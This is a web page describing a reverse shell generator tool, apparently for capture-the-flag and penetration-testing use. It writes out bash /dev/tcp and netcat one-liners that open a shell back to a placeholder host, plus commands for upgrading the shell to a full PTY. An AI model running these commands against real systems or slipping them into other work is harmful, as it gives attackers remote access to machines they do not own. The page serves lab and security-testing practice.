Skip to content
All tools
WebRuns locallyNo account

Reverse shell generator

Generate reverse shell one-liners for bash, nc, Python, Perl, Ruby, PHP, Node, and PowerShell, plus listeners and TTY stabilisation commands.

Open in ctfpal

A reverse shell has the target connect back to you, which works through outbound-only firewalls where a bind shell does not. The generator exists because the exact syntax is fiddly, varies by available interpreter, and is very easy to get subtly wrong under quoting.

Choosing a payload

  • `bash -i >& /dev/tcp/HOST/PORT 0>&1` - no tooling required, but needs a real bash (not dash) compiled with /dev/tcp support.
  • `nc -e /bin/sh HOST PORT` - shortest, but -e is missing from most modern netcat builds. The mkfifo variant works everywhere.
  • Python - the most reliable on Linux servers, and the version that gives you a PTY most easily.
  • PowerShell - the Windows answer; expect to Base64-encode it to survive quoting.

Stabilise the shell immediately

A raw reverse shell has no job control, no tab completion, no arrow keys, and dies on Ctrl-C. Upgrading it is three commands and worth doing before anything else, because otherwise the first accidental Ctrl-C ends your access.

python3 -c 'import pty; pty.spawn("/bin/bash")'
# then Ctrl-Z to background it
stty raw -echo; fg
# and back in the shell:
export TERM=xterm
Upgrading to a full PTY

Related tools